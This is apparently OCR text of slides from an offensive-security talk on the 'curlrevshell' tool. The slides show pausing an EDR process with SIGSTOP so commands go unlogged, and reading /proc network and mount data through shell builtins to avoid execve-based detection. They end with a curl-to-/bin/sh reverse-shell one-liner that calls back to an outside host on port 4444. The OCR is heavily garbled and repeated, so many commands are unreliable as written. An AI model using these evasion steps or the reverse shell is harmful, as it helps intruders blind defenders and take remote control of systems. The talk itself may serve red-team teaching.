1] @ Ops - Curlrevshell TH1

- sudo -nl kill
Root -> SIGSTOP EDR
» toil -n 2 </vor/log/procrastinationedr.log
2025/09/10 18:26:51 5 taoil -n 4 /var/log/procrastinationedr.log
2025/09/10 10:27:32 ¢ sudo -nl kill
. owk '/AStater/" Sproc/ 329738/ status
State: 5 (sleeping)
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1] @ Ops - Curlrevshell TH1

- sudo -nl kill

Root -> SIGSTOP EDR

» toil -n 2 </vor/log/procrastinationedr.log
2025/09/10 18:26:51 5 taoil -n 4 /var/log/procrastinationedr.log
2025/09/10 10:27:32 ¢ sudo -nl kill

. owk '/AStater/" Sproc/ 329738/ status

State: 5 (sleeping)

> sudo kill -5TOP 320730
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1] @ Ops - Curlrevshell TH1

- sudo -nl kill
Root -> SIGSTOP EDR
» toil -n 2 </vor/log/procrastinationedr.log
2025/09/10 18:26:51 5 taoil -n 4 /var/log/procrastinationedr.log
2025/09/10 10:27:32 ¢ sudo -nl kill
. owk '/AStater/" Sproc/ 329738/ status
State: 5 (sleeping)
> sudo kill -5TOP 320730
» owk ' /AStote:/" Sproc/329738/status
Stote: T {stopped)
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1] @ Ops - Curlrevshell TH1

- sudo -nl kill
Root -> SIGSTOP EDR
» toil -n 2 </vor/log/procrastinationedr.log
2025/09/10 18:26:51 5 taoil -n 4 /var/log/procrastinationedr.log
2025/09/10 10:27:32 ¢ sudo -nl kill
. owk '/AStater/" Sproc/ 329738/ status
State: 5 (sleeping)
> sudo kill -5TOP 320730
» owk ' /AStote:/" Sproc/329738/status
Stote: T {stopped)
= /binfeche "This is not yet visible to o stopped EDR™
This is not yet visible to o stopped EDR
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1] @ Ops - Curlrevshell TH1

- sudo -nl kill

Root -> SIGSTOP EDR

» toil -n 2 </vor/log/procrastinationedr.log
2025/09/10 18:26:51 5 taoil -n 4 /var/log/procrastinationedr.log
2025/09/10 10:27:32 ¢ sudo -nl kill
. owk '/AStater/" Sproc/ 329738/ status
State: 5 (sleeping)
- sudo kill -5TOP 320730
» owk ' /AStote:/" Sproc/329738/status
Stote: T {stopped)
= /binfeche "This is not yet visible to o stopped EDR™
This is not yet visible to o stopped EDR
» tail -n 2 </var/log/procrastinationedr.log
2025/09/1@ 18:28:57 2 sudo kill -5TOP 329738
2025/89/18 19:28:57 5 kill -STOP 329738
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1] @ Ops - Curlrevshell TH1

- sudo -nl kill
Root -> SIGSTOP EDR
» toil -n 2 </vor/log/procrastinationedr.log
2025/09/10 18:26:51 5 taoil -n 4 /var/log/procrastinationedr.log
2025/09/10 10:27:32 ¢ sudo -nl kill
. owk '/AStater/" Sproc/ 329738/ status
State: 5 (sleeping)
- sudo kill -5TOP 320730
» owk ' /AStote:/" Sproc/329738/status
Stote: T {stopped)
= /binfeche "This is not yet visible to o stopped EDR™
This is not yet visible to o stopped EDR
» tail -n 2 </var/log/procrastinationedr.log
2025/09/1@ 18:28:57 2 sudo kill -5TOP 329738
2025/89/18 19:28:57 5 kill -STOP 329738
» sudo kill -CONT 329738
= owk 'SeStatel/" Sproc/3ZOV30/status
State: 5 (sleeping)
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Root -> SIGSTOP EDR

- sudo -nl kill
dusrdbin/kill
» toil -n 2 </vor/log/procrastinationedr.log
2025/09/10 18:26:51 5 taoil -n 4 /var/log/procrastinationedr.log
2025/09/10 10:27:32 ¢ sudo -nl kill
. owk '/AStater/" Sproc/ 329738/ status
State: 5 (sleeping)
- sudo kill -5TOP 320730
» owk ' /AStote:/" Sproc/329738/status
Stote: T {stopped)
= /binfeche "This is not yet visible to o stopped EDR™
This is not yet visible to o stopped EDR
» tail -n 2 </var/log/procrastinationedr.log
2025/09/1@ 18:28:57 2 sudo kill -5TOP 329738
2025/89/18 19:28:57 5 kill -STOP 329738
» sudo kill -CONT 329738
= owk 'SeStatel/" Sproc/3ZOV30/status
State: 5 (sleeping)
» tail </var/log/procrastinationedr. log

£025/89/10
2025/89/10
2025/89/18
2OZ5/89/10
£025/89/18
2025/89-10
2025/99/10
2025/89/18
2025/89/18
Z025/29/10

i8:
18:
18:
18:
18;
18:
18:
18:
18:
18:

27
28

28:
28:
ap:
30:

£

3@:

38

36:

57 5
34 5
57 2
57 5
B2 5
g2 5
25
gz 2
@2 5
23 5

Ops - Curlrevshell TH1

toil -n 2

awk /AStote:/ Sprocs/32973@/status

sudo kill -STOP 329739

kill -5TOP 329738

awk /hState:/ Sproc/329738/status

sbinfecho This is not yvet visible to a stopped EOR
toil -n 2

sudo kill -CONT 329739

kill -CONT 329738

awk /AState:s Sproc/3Z2973@/status
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1] @ Ops - Curlrevshell ¥
suda -al kill

Root -> SIGSTOP EDR

» toil -n 2 </vor/log/procrastinationedr.log
2025/09/10 18:26:51 5 taoil -n 4 /var/log/procrastinationedr.log
2025/09/10 10:27:32 ¢ sudo -nl kill
. owk '/AStater/" Sproc/ 329738/ status
State: 5 (sleeping)
- sudo kill -5TOP 320730
» owk ' /AStote:/" Sproc/329738/status
Stote: T {stopped)
= /binfeche "This is not yet visible to o stopped EDR™
This is not yet visible to o stopped EDR
» tail -n 2 </var/log/procrastinationedr.log
2025/09/1@ 18:28:57 2 sudo kill -5TOP 329738
2025/89/10 10:28:57 5 kill -STOP 329730
» sudo kill -CONT 329738
= owk 'SeStatel/" Sproc/3ZOV30/status
State: 5 (sleeping)
» tail </var/log/procrastinationedr. log
2025/99/10 18:27:57 5 toil -n 2
2025/89/18 10:28:34 5 awk /AState:/ /proc/329730/status
2025/89/18 10:28:57 2 sudo kill -5STOP 329738
2B25/99/10 18:28:57 5 kill -5TOP 329738
2025/99/10 10:30:82 5 awk SAState:/ Jproc/329TiR/status
2025/89/10 10:30:@2 5 /binfecho This is not yet visible to a stopped EDR
2025/09/1@ 10:30:82 5 toil -n 2
2025/89/10 10:30:02 2 sudo kill -CONT 329730
2025/00/10 10:30:02 5 kill -CONT 3297308
2025/99/10 10:30:88 5 awk SAState:/ Jproc/3Z973@/status
- type kill
kill is a shell builtin
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1] @ Ops - Curlrevshell TH1
- sudo -nl kill

Challenge: Signal Better

= » toil -n 2 </vor/log/procrastinationedr.log
2025/09/10 18:26:51 5 taoil -n 4 /var/log/procrastinationedr.log
2025/09/10 10:27:32 ¢ sudo -nl kill
. owk '/AStater/" Sproc/ 329738/ status
State: 5 (sleeping)
- sudo kill -5TOP 320730
» owk ' /AStote:/" Sproc/329738/status
Stote: T {stopped)
= /binfeche "This is not yet visible to o stopped EDR™
This is not yet visible to o stopped EDR
» tail -n 2 </var/log/procrastinationedr.log
2025/89/10 18:28:57 2 sudo kill -5TOP 329738
2025/89/10 10:28:57 5 kill -STOP 329730
- sudo kill -CONT 329738
= owk 'SeStatel/" Sproc/3ZOV30/status
State: 5 (sleeping)
» tail </var/log/procrastinationedr. log
2025/89/10 18:27:57 5 toil -n 2
2025/89/10 10:28:34 5 awk /AStote:/ Fproc/3Z9738/status
2025/89/10 10:28:57 2 [sudo kill -STOP 329730
2B25/09/10 18:28:57 5 kill -5TOP 329738
2025/99/10 10:30:82 5 awk SAState:/ Jproc/329ViR/status
2025/89/10 10:30:@2 5 /binfecho This is not yet visible to a stopped EDR
2025/09/10 18:30:82 5 toil -n 2
2025/89/10 10:30:02 2 sudo kill -CONT 329730
2025/89/10 18:30:82 5 kill -CONT 329738 |
2025/99/10 10:30:88 5 awk SAState:/ Jproc/3Z973@/status
- type kill
kill is a shell builtin
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Visible data-grabbing - cat (1)/argv

L B Ops - Curirevshell Tl
» cat Sproc/mounts

sysfs Jsys sysfs rw,mosuid, nodev noexec  relotime & &

prec fproc proc re nosuld,nodey, mexec, relotine @ @

udey Sdev dovtmpls re,nosuld, relotime, sizes214712k nr_inodes=53678 mode=T55, inodetd & @

devpts Sdew/pts devpts rw, nosuid,noexec ,relotime, gid=5, mode=620, ptromode=-300 @ &

tmpfs Arun tapfs rw, rosuld, nodey, noekec, rel atime 51 re-qoBidk, mode=755, inodetd @ 0

Fdevivdal / extd rw, relatime, discard, errorseremount-ra @ B

securityfs Ssyifkernel/security securityfs rw,nosuid,nodev, noesec, relotine @ @

tmpfs Jdev/she tmpfs re,nosutd,nodew, inodetd 0 @

tepfs Srundlock tepfs rw, nosuld, odev, noexec, relatime, sizeaS120k, inodetd @ @

cgroupd Ssys/Fefcgroup cgroup? rw,nosuid, nodev, noexec, relatine, nsdolegate, memory_recursiveprot @ @

patore Jays/fa/patore pstore rm,nosuid,nodev, noesec, relotine @ @

bpf Saysdfsibpf bpf rw nosuld, nodev noexec, relotime nodesT80 @ @

systend-1 Jproc/sys/Fs/binfob_misc outofs rw, relatime, fd=38, pgrp=1, timeout=0, mnprotos5, moproto=5, di rect, pipe_ino=12888 & @
rugetlbfs Adev/hugepoges hugetlbfs rw, relotime, pogesize=26 B @

mqueue Sdev/mgueue mgueus P, nosuld, nodey  noexec, relatine @ 0

debugfs /sys/kernel /debug debugfs re,rosuid,nodev, noexec, relatine & @

trocefs Ssys kernel/trocing trocefs rm nosuid, nodev, nocxec, relotime & @

fusectl Jsys/fa/fuse/connections Fusect]l re,nosuld nodes, roexec,relotise @ @

configfs Ssys/kermel/config cenfigfs rw, mosuid,nodev noexec, relotime & &

ramfs Srun/credenticol s/ systemd-sysctl service rosfs ro, nosuid, odev, noowec, relotime mode-708. & &

ramfs frun/credent ol s/systend-sysusers. service romfs ro,nosuid, nodev noexec, relatime mode=700 @ @

ramfs /run/cradentials/systend-tmpfiles-setup-dev, service romfs ro,mosuid, nodey,noexec, relatime, mode=T00 @ @

fdevSvdals bootdefi wiat re reloting, fmosk-022  dmosk-0027  codopage=417 i ocharset=05cii  shortnome=miwed  utfl errorg=romount-ro @ 8
ramfs #mﬂtrmtlnlkf:j:tmd-bpﬂ1.=!.-l.-e1:|.q).!'.=ru'|.4:|l ramfs ro,notuld, nodev,noexec , relotine, node=708 @ @

binfrt_sisc fprocssys/fs/binfet_misc binfet_misc re, nosuld, nodev, noexes, relatiee @ @

tmpfs Arunduser/188 tepts rw nosuid, nodev, relotime, 5ize=36848k  nr_inodes=11720 , mode="00, 1l d=1008 , g1d=1000, incdeft 8 @
tmpfs Srunfuser/@ tepfs e, rosuld, nodey, relatime, st ze=d6840k ,nr_inodes=11710, mode=T88, inodeid @ @

tmpfs Srunuser/1801 tepfs rw, nosuld, rodev, relotime, size=4684dic, nr_tnodes=11710, mode=780 , uids1001 , gid=1081, inodetd @ @
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Visible data-grabbing - cat (1)/argv

L B Ops - Curirevshell Tl

» cat Sproc/mounts

sysfs Jsys sysfs rw,mosuid, nodev noexec  relotime & &

prec fproc proc re nosuld,nodey, mexec, relotine @ @

udey Sdev dovtmpls re,nosuld, relotime, sizes214712k nr_inodes=53678 mode=T55, inodetd & @

devpts Sdew/pts devpts rw, nosuid,noexec ,relotime, gid=5, mode=620, ptromode=-300 @ &

tmpfs Arun tapfs rw, rosuld, nodey, noekec, rel atime 51 re-qoBidk, mode=755, inodetd @ 0

Fdevivdal / extd rw, relatime, discard, errorseremount-ra @ B

securityfs Ssyifkernel/security securityfs rw,nosuid,nodev, noesec, relotine @ @

tmpfs Jdev/she tmpfs re,nosutd,nodew, inodetd 0 @

tepfs Srundlock tepfs rw, nosuld, odev, noexec, relatime, sizeaS120k, inodetd @ @

cgroupd Ssys/Fefcgroup cgroup? rw,nosuid, nodev, noexec, relatine, nsdolegate, memory_recursiveprot @ @

patore Jays/fa/patore pstore rm,nosuid,nodev, noesec, relotine @ @

bpf Saysdfsibpf bpf rw nosuld, nodev noexec, relotime nodesT80 @ @

systend-1 Jproc/sys/Fs/binfob_misc outofs rw, relatime, fd=38, pgrp=1, timeout=0, mnprotos5, moproto=5, di rect, pipe_ino=12888 & @

rugetlbfs Adev/hugepoges hugetlbfs rw, relotime, pogesize=26 B @

mqueue Sdev/mgueue mgueus P, nosuld, nodey  noexec, relatine @ 0

debugfs /sys/kernel /debug debugfs re,rosuid,nodev, noexec, relatine & @

trocefs Ssys kernel/trocing trocefs rm nosuid, nodev, nocxec, relotime & @

fusectl Jsys/fa/fuse/connections Fusect]l re,nosuld nodes, roexec,relotise @ @

configfs Ssys/kermel/config cenfigfs rw, mosuid,nodev noexec, relotime & &

ramfs Srun/credenticol s/ systemd-sysctl service rosfs ro, nosuid, odev, noowec, relotime mode-708. & &

ramfs frun/credent ol s/systend-sysusers. service romfs ro,nosuid, nodev noexec, relatime mode=700 @ @

ramfs /run/cradentials/systend-tmpfiles-setup-dev, service romfs ro,mosuid, nodey,noexec, relatime, mode=T00 @ @

fdevSvdals bootdefi wiat re reloting, fmosk-022  dmosk-0027  codopage=417 i ocharset=05cii  shortnome=miwed  utfl errorg=romount-ro @ 8

ramfs #mﬂtrmtlnlkf:j:tmd-bpﬂ1.=!.-l.-e1:|.q).!'.=ru'|.4:|l ramfs ro,notuld, nodev,noexec , relotine, node=708 @ @

binfrt_sisc fprocssys/fs/binfet_misc binfet_misc re, nosuld, nodev, noexes, relatiee @ @

tmpfs Arunduser/188 tepts rw nosuid, nodev, relotime, 5ize=36848k  nr_inodes=11720 , mode="00, 1l d=1008 , g1d=1000, incdeft 8 @

tmpfs Srunfuser/@ tepfs e, rosuld, nodey, relatime, st ze=d6840k ,nr_inodes=11710, mode=T88, inodeid @ @

tmpfs Srunuser/1801 tepfs rw, nosuld, rodev, relotime, size=4684dic, nr_tnodes=11710, mode=780 , uid=1001 , gid=1081, inodetd @ @

= tall -nd Avarflogfprocrastinationedr. log

2250918 10:30: 2 5 taoil

J825/09/18 10:32:38 5 cat Jprocimounts

T DD R RRRRRRRRRPLR—— R
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L ess-visible data-grabbing - cat (1), sneakier

[ i Ops - Curlrevshell

cat </proc/net/tep

E#



Less-visible data-grabbing - cat (1), sneakier

[ ] Ops - Curlrevshell

> et c."‘pmca;"netf'tcp

sl

Be =J O U e R

local _address rem_oddress st tx_queue rx_quese tr tm->when retrnsmt
SOODO0OE : 2002 DORIADRE ;DGR BA DPDO20DE  PORAOORD OF : BOLDRODE DOBIODY
I6D00ATE (0035 D0BICO0S 003 A MPRA00E 000D B0 A0DIA00E AOOIDLE
F1POEATF - 2019 MOBSOBH DO QA DRDOARODE DDA0DED BF:ODBA0DE POBBOROY
ASONOATF 035 0DEOORDD: ABE BA PODOAODD: NOGHODEE PO :A0BHO0RE POBMBDHE
GODBAOOE : 14EE DOROOODE ;DB A OPDOAROE  POBA0ORD OF : PODBEADE DODBADDY
P1OO0ATE - 1151 QOROEOOD : D00 BA ODROODDY : DREOOHE B MOLRAO0E POOMRLE
F1AZE7@AA:EAEC EFBZEYOA:115C @1 QRDGG00D:0D0D0E 02 :QODOBAED M0DHERDE
FIB287OA:EAFZ EFBZETAA:115C 91 AODOAODE: DOHODGE B2 :00RDOEEA BDOMGDOG
FLOZETRA 2002 CEBZETRA;BFET 01 J0D2Q000: 0OBO000E 02 d00B3636 MO

uid timeout

a
96
a
6
996
L
1968
Lo
a

oo oo a e

E#

inode

222081 1 SO00DOARAdFITTIL 100 © @ 10 @
1234327 1 200030000 4050064 100 @ @ 18 5
17167 1 PROARRRA1FFaZbfe 100 @ @ 10 20
1234325 1 O00R800Rbab™9bd 100 @ @ 18 5
1234312 1 200BROBR1cE585b4 100 @ @ 18 5
2355063 2 MOODAODRe4014496 100 @ @ 10 ©
2355753 2 PODDOGDRe4dI355D 40 4 28 18 -1
2355754 2 Q00DAapRTadiabc 28 4 38 18 -1
2353225 2 200DOODR34Ze111d 40 7 31 10 15
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Less-visible data-grabbing - cat (1), sneakier

[ ] Ops - Curlrevshell

> et c."‘pmca;"netf'tcp

sl

=j O U Pl R

ﬂ.-

local _address rem_oddress st tx_queue rx_quese tr tm->when retrnsmt
SOODO0OE : 2002 DORIADRE ;DGR BA DPDO20DE  PORAOORD OF : BOLDRODE DOBIODY
I6D00ATE (0035 D0BICO0S 003 A MPRA00E 000D B0 A0DIA00E AOOIDLE
F1POEATF - 2019 MOBSOBH DO QA DRDOARODE DDA0DED BF:ODBA0DE POBBOROY
ASONOATF 035 0DEOORDD: ABE BA PODOAODD: NOGHODEE PO :A0BHO0RE POBMBDHE
GODBAOOE : 14EE DOROOODE ;DB A OPDOAROE  POBA0ORD OF : PODBEADE DODBADDY
P1OO0ATE - 1151 QOROEOOD : D00 BA ODROODDY : DREOOHE B MOLRAO0E POOMRLE
F1AZE7@AA:EAEC EFBZEYOA:115C @1 QRDGG00D:0D0D0E 02 :QODOBAED M0DHERDE
FIB287OA:EAFZ EFBZETAA:115C 91 AODOAODE: DOHODGE B2 :00RDOEEA BDOMGDOG
FLOZE7RA 2002 CEG2ETRA;BFET 01 QODOG00H: 0OBO00HE 02 d00B3636 DOBIAORI

» toil =-n3 </var/log/procrastinotionedr.log

2825/09/18 18:32:38 5 cat Sproc/mounts

2025/89/18 18:32:47 5 tail -n2 /var/log/procrastinationedr.log
2825/99/18 19:33:94 5 cat

uid timeout

a
96
a
6
996
L
1968
Lo
a

oo oo a e

inode

222081 1 SO00DOARAdFITTIL 100 © @ 10 @
1234327 1 200030000 4050064 100 @ @ 18 5
17167 1 PROARRRA1FFaZbfe 100 @ @ 10 20
1234325 1 O00R800Rbab™9bd 100 @ @ 18 5
1234312 1 200BROBR1cE585b4 100 @ @ 18 5
2355063 2 MOODAODRe4014496 100 @ @ 10 ©
2355753 2 PODDOGDRe4dI355D 40 4 28 18 -1
2355754 2 Q00DAapRTadiabc 28 4 38 18 -1
2353225 2 200DOODR34Ze111d 40 7 31 10 15

E#
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Less-visible data-grabbing - cat (1)less file redirection

@ @ Ops - Curlrevshell i1

strace -f sh -c 'cat </proc/net/tcp” >/dev/null
execvel( "fusr/binssh”, |["sh", "-c", "cat </proc/metStcp”], Bx7fffo681o88 /* 16 vars */) = @
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Less-visible data-grabbing - cat (1)less file redirection

® @ Ops - Curlrevshell TH1

» strace -f sh -c "cot </proc/net/tcp” »/dev/null
execvel "fusr/binssh”, ["sh", "-c", "cat </proc/metStcp”], Bx7Iffo681o88 /* 16 vars */) = @

@ o Ops - Curlrevshell T
openatCAT_FDOWD, "/proc/net/tcp”, O_RDONLY) = 3
fent1(@, F_DUPFD, 10) =10
close(@) =@
fentl(10, F_SETFD, FD_CLOEXEC) =@
dup2(3, @) =
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Less-visible data-grabbing - cat (1)less file redirection

[ N ] Ops - Curlrevshell T

= strace -f sh -c "cat </proc/net/tcp" >/dev/null
_execve{"fusr‘fhinfsh', ["sh", "-c", "cot </proc/met/tcp™], Bx7fTff6681a88 /* 16 vars */) = @

[ BN Ops - Curlrevshell X1
openat(AT_FDCWD, "/proc/net/tcp”, O_RDONLY) = 3 |
fent1(@, F_DUPFD, 10) =30
close(@) =@
fentl1(10, F_SETFD, FD_CLOEXEC) =9
dup2(3, @) =0
T
ene Ops - Curlrevshell 1

[vfur'k{str'aue: Process 477295 qttuchedi |
<unfinished ...>

[pid 477295] rt_sigprocmask(SIG_SETMASK, [1, ~[KILL STOP RTMIN RT_1], 8) = @

| [pid 477295] lexecve("/usr/bin/cat”, ["cat"], @x557e420aZ8f@ /* 16 vars */ <unfinished ...>
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Less-visible data-grabbing - cat (1)less file redirection

[ N ] Ops - Curlrevshell T

= strace -f sh -c "cat </proc/net/tcp" >/dev/null
_execwe{"!usr‘fhinfsh', ["sh", "-c", "cot </proc/met/tcp™], Bx7fTff6681a88 /* 16 vars */) = @

[ BN Ops - Curlrevshell X1

openat(AT_FDOWD, "/proc/net/tcp”, C_RDOMLY) = 3; [ BN ] Ops - Curlrevshell T
zm:g:i FRUETDy 0 : ;ﬂ : [pid 477295] read(d, sl lecal _oddress rem_address "..., 131872) = lﬁﬂﬁi
fentl(10, F_SETFD, FD_CLOEXEC) o [pid 477295] write(l, " sl local_oddress rem_address "..., 1500) = 1500
] L] — o : ’ . ;
dup2(3, @) =
.
ene Ops - Curlrevshell a1

'vfurk{str'aue: Process 477295 attached

<unfinished ...>
[pid 477295] rt_sigprocmask(SIG_SETMASK, [], ~[KILL STOP RTMIN RT_1], 8) = @
| [pid 477295] execve("/usr/bin/cat”, ["cat"], @x557e420aZ8f@ /* 16 vars */ <unfinished ...>
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Invisible data-grabbing - read(2) without execve(2)

L 3 Ops - Curlrevshell
</proc/net/arp

LA



Invisible data-grabbing - read(2) without execve(2)

L e Ops - Curlrevshell
read LINE </proc/net/arp

LA



Invisible data-grabbing - read(2) without execve(2)

L e Ops - Curlrevshell TH1
read LINE; echo "SLINE" </proc/net/arp
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Invisible data-grabbing - read(2) without execve(2)

L e Ops - Curlrevshell
- while read LINE; do echo "SLINE"; done </proc/net/arp

LH1



Invisible data-grabbing - read(2) without execve(2)

Ops - Curlrevshell

> while read LINE; do echo "SLINE"; done </proc/net/arp

IP oddress

18.135.2. 7286
16.135.2.239
18.135.2. 240
134.122.80.1

HW type
Ox1

axl
Bxl
@xl

Flags
B
Bxd
Bxd
B

HW oddress

3e:15:63:7e:91:6a
ce:a9:77:fe:7d: 30
3e:3f:7a:@9:71.7f
fe:00:00:00:01:01

#* ® ® =

Device

ethl
ethl
ethl
eth@

LH1
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Invisible data-grabbing - read(2) without execve(2)

Ops - Curlrevshell

> while read LINE; do echo "SLINE"; done </proc/net/arp

IP oddress

18.135.2. 7286
16.135.2.239
18.135.2. 240
134.122.80.1

HW type

x1

Bxl

@x1

%l
Jproc/net/dev

Flags
B
Bxd
Bxd
e

HW oddress

3e:15:63:7e:91:6a
ce:a9:77:fe:7d: 30
3e:3f:7a:@9:71.7f
fe:00:00:00:01:01

#* ® ® =

Device

ethl
ethl
ethl
eth@

LH1
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Invisible data-grabbing - read(2) without execve(2)

& e Ops - Curlrevshell TH1
> while read LINE; do echo "SLINE"; done </proc/net/arp

IP oddress HW type Flags HN address Mask Device

19.135.2 7686 Axl B 3e:15:63:7e:91:6a . ethl

19.135.2.239 axl Bxd ce:a9:77:fe:7d: 3@ * ethl

18.135.2. 240 ax1 Bx2 3e:3f:7a:@9:71:7f L ethl

134.122.80.1 @xl Bx2 fe 00:00:00:01:81 - eth@

> £ /proc/net/dev)
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Invisible data-grabbing - read(2) without execve(2)

& e Ops - Curlrevshell TH1
> while read LINE; do echo "SLINE"; done </proc/net/arp

IP oddress HW type Flags HN address Mask Device

19.135.2 7686 Axl B 3e:15:63:7e:91:6a . ethl

19.135.2.239 axl Bxd ce:a9:77:fe:7d: 3@ * ethl

18.135.2. 240 ax1 Bx2 3e:3f:7a:@9:71:7f L ethl

134.122.80.1 @xl Bx2 fe 00:00:00:01:81 - eth@

> $(</proc/net/dev)

|



Invisible data-grabbing - read(2) without execve(2)

& e Ops - Curlrevshell TH1
> while read LINE; do echo "SLINE"; done </proc/net/arp

IP oddress HW type Flags HN address Mask Device

19.135.2 7686 Axl B 3e:15:63:7e:91:6a . ethl

19.135.2.239 axl Bxd ce:a9:77:fe:7d: 3@ * ethl

18.135.2. 240 ax1 Bx2 3e:3f:7a:@9:71:7f L ethl

134.122.80.1 @xl Bx2 fe 00:00:00:01:81 - eth@

= echo -E "$(</proc/net/dev}"

178



Invisible data-grabbing - read(2) without execve(2)

& e Ops - Curlrevshell TH1
> while read LINE; do echo "SLINE"; done </proc/net/arp

IP oddress HW type Flags HN address Mask Device

19.135.2 7686 Axl B 3e:15:63:7e:91:6a . ethl

19.135.2.239 axl Bxd ce:a9:77:fe:7d: 3@ * ethl

19.135.2. 248 Bxl Bxs Fe:3f:Va:@9:71:7f K ethl

154.122.80.1 @xl Bx2 fe:00:00:00:01:01 ad eth@

= echo -E "$(</proc/net/dev}"

-E
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Invisible data-grabbing - read(2) without execve(2)

& e Ops - Curlrevshell TH1
> while read LINE; do echo "SLINE"; done </proc/net/arp

IP oddress HW type Flags HN address Mask Device

19.135.2 7686 Axl Bxd 3e:15:63:7e:91:6a . ethl

19.135.2.239 axl Bxd ce:a9:77:fe:7d: 3@ * ethl

19.135.2. 248 Bxl Bx2 Fe:3f:Va:@9:71:7f K ethl

154.122.80.1 @xl Bx2 fe:00:00:00:01:01 ad eth@

= echo -E "$(</proc/net/dev}"

-E

= exec /bin/bash
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Invisible data-grabbing - read(2) without execve(2)

& e Ops - Curlrevshell TH1
> while read LINE; do echo "SLINE"; done </proc/net/arp

IP oddress HW type Flags HN address Mask Device

19.135.2 7686 Axl Bxd 3e:15:63:7e:91:6a . ethl

19.135.2.239 axl Bxd ce:a9:77:fe:7d: 3@ - ethl

18.135.2. 240 ax1 Bx2 3e:3f:7a:@9:71:7f L ethl

134.122.80.1 @xl Bx2 fe 00:00:00:01:81 - eth@

= echo -E "$(</proc/net/dev}"

-E

- axec /bin/bash
- echo -E "$(</proc/$%/comm})"
bash
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Invisible data-grabbing - read(2) without execve(2)

Ops - Curlrevshell

> while read LINE; do echo "SLINE"; done </proc/net/arp

IP address HW type Flags HW address Mask Device
10.135.2.286 2x1 Ox2 3e:15:63:7e:91:6a " ethl
19.135.2.239 axl Bxd ce:a9:77:fe:7d: 3@ - ethl
10.135.2.240 fx1 @x2 3e:3f:7a:09:71:7f = ethl
134.122.80.1 @xl Ox2 fe 00:00:00:01:81 ¥ eth@
= echo -E "$(</proc/net/dev}"
-E
- axec /bin/bash
~ echo -E "$(</proc/8%/comm}"
bash
= echo -E "3 </proc/net/dev)”
Inter-| Receive | Transmit
face |bytes packets errs drop fifo frome compressed multicast|bytes
la:  15Q16 248 @ @ @ ] ] @ 15816 248 )
eth@: 201385659 188238 2 @ @ @ P 13850116 64842
ethl: 2308670934 2857771 @ @ 2 %] @ 141883458 1418724
ethll: @ @ a a @ & @ @ a @ @
ethl@: @ ] @ @ ] ] @ @ 5] @ @

a

a

]

@
8

2

@

@

@

@

=2 ®

@

@

H

packets errs drop fifo colls carrier compressed

2

=2 &
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Invisible data-processing - coreutils without execve(2)

L @ Ops - Curlrevshell
/sys/devices/virtual/net/ethl@/ 1 findex fays/devices/virtual /net/ethl@ 1 flink

A 1



Invisible data-processing - coreutils without execve(2)

L @ Ops - Curlrevshell TH
= if [[ "$(</sys/devices/virtual/net/ethl@/ifindex)” != "${</sys/devices/virtual/net/ethl@/iflink)" 1]; then
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Invisible data-processing - coreutils without execve(2)

L @ Ops - Curlrevshell TH

= if [[ "$(</sys/devices/virtual/net/ethl@/ifindex)” != "${</sys/devices/virtual/net/ethl@/iflink)" 1]; then
echo "veth(4) pair”
fi
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Invisible data-processing - coreutils without execve(2)

L @ Ops - Curlrevshell TH

= if [[ "$(</sys/devices/virtual/net/ethl@/ifindex)"” != "3(</sys/devices/virtual/net/ethl@/iflink)" ]1]; then
echo "veth(4) pair”
fi
wveth{4) pair
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Invisible data-processing - coreutils without execve(2)

L @ Ops - Curlrevshell TH

» 1f [[ "$(</sys/devices/virtual/net/ethl®/ifindex)" != "$(</sys/devices/virtual/net/ethl®/iflink)" 1]; then
echo "veth(4) pair”

= fi

wveth{4) pair

/proc/mounts
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Invisible data-processing - coreutils without execve(2)

L] ] Ops - Curlrevshell T

- if [[ "$C</sys/devices/virtual/net/ethl@/ifindex)" != "$(</sys/devices/virtual/net/ethl@/iflink)" 1]; then
echo "veth(4) pair”

= i

wveth{4) pair

= *rw* l= *noexec*

/proc/mounts
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Invisible data-processing - coreutils without execve(2)

& ] 0Ops - Curlrevshell TE

- if [[ "S${</sys/devices/virtual/net/ethl®/ifindex)" 1= "$(</sys/devices/virtual/net/eth1@8/iflink)" 1]; then
echo "veth(4) pair”
> i
wveth{4) pair
- while read -r; do
if [[ "SREPLY" = *rw* && "SREPLY" != *noexec* ]]; then
echo "$REPLY"
fi
- done </proc/mounts
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Invisible data-processing - coreutils without execve(2)

L BN Ops - Curlrevshell Tl
= if [[ "$C</sys/devices/virtual/net/ethl@/ifindex)" !=s "$(</sys/devices/virtual/net/ethl@/iflink)" 1]; then

> echo "veth(4) pair”

o 1

veth{4) pair

= while read -r; do

> if [[ "SREPLY" = *rw* && "SREPLY" != *noexec* ]]; then

= echo "$REPLY"

> fi

= done </proc/mounts

udev /dev devitmpfs rw,nosuid,relatime,size=214712k nr_inodes=53678 mode=755,inodetd @ @

Fdevivdal / extd rw,relatime,discard,errorssremount-ro @ @

tmpfs Sdev/shm tmpfs rw,nosuid,nodev,inodetd B @

systemd-1 /proc/sys/fs/binfmt_misc outofs rw,relatime,fd=38,pgrp=1,timecut=0 minproto=5 maxproto=5 direct,pipe_ino=12800 @ @
hugetlbfs /dev/hugepages hugetlbfs rw,relatime,pagesize=M @ @

Jdev/vdalS Sboot/efi viat rw, relatime, fmask=0022 , dmask=0022, codepage=437 , iocharset=ascii, shortname=mixed,utf8, errors=remount-ro @ @
tmpfs Srunfuser/1080 tmpfs rw,nosuid,nodev,relatime,size=46840k, nr_inodes=11710, mode=700,uid=1080,51d=1000, inodetd @ 0
tmpfs Srunfuser/@ tmpfs rw,nosuid,nodev,relatime, size=468408k , nr_inodes=11718 ,mode=70@,inodetd B O

tmpfs Arunfuser/18@1 tmpfs rw,nosuid,nodev,relatime,size=46840k, nr_inodes=11718, mode=700,uid=1001,01d=1801, inodetd @ @
e
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curlrevshell -ctrl-i crs/ctrl-1i

iy L Ops - Curlrevshell TE

[stuart®ops.not-hd4x, lal: /1 I

§ curlrevshell -callback-address ops. nut -hdx.lol -template crs/crs.tmpl -ctrl-i crs/ctril-i
12:14:15.912 Welcome to curlrevshell version v@.0.1-beta.?.0.20250905220249-9c38398bcedb
12:14: 15 943 Ltstemng an Ei 0.0.0:4444

12:14: 948 To g she

curl -sk --pinnedpubkey shaZ56//CkYNAzyh4tRP1VZMSTIXpiMSANEVK7Bas1IRHPCDZ/0l= https://ops.not-hdx. Lol - 4444 /¢ bin/sh

Code: github.com/magisterquis/curlrevshell




curlrevshell -ctrl-i crs/ctrl-1i

iy L Ops - Curlrevshell TE

[stuart®ops.not-hd4x, lal: /1 I

§ curlrevshell -callback-address ops. nut -hdx.lol -template crs/crs.tmpl| -ctrl-i crs/ctril-i
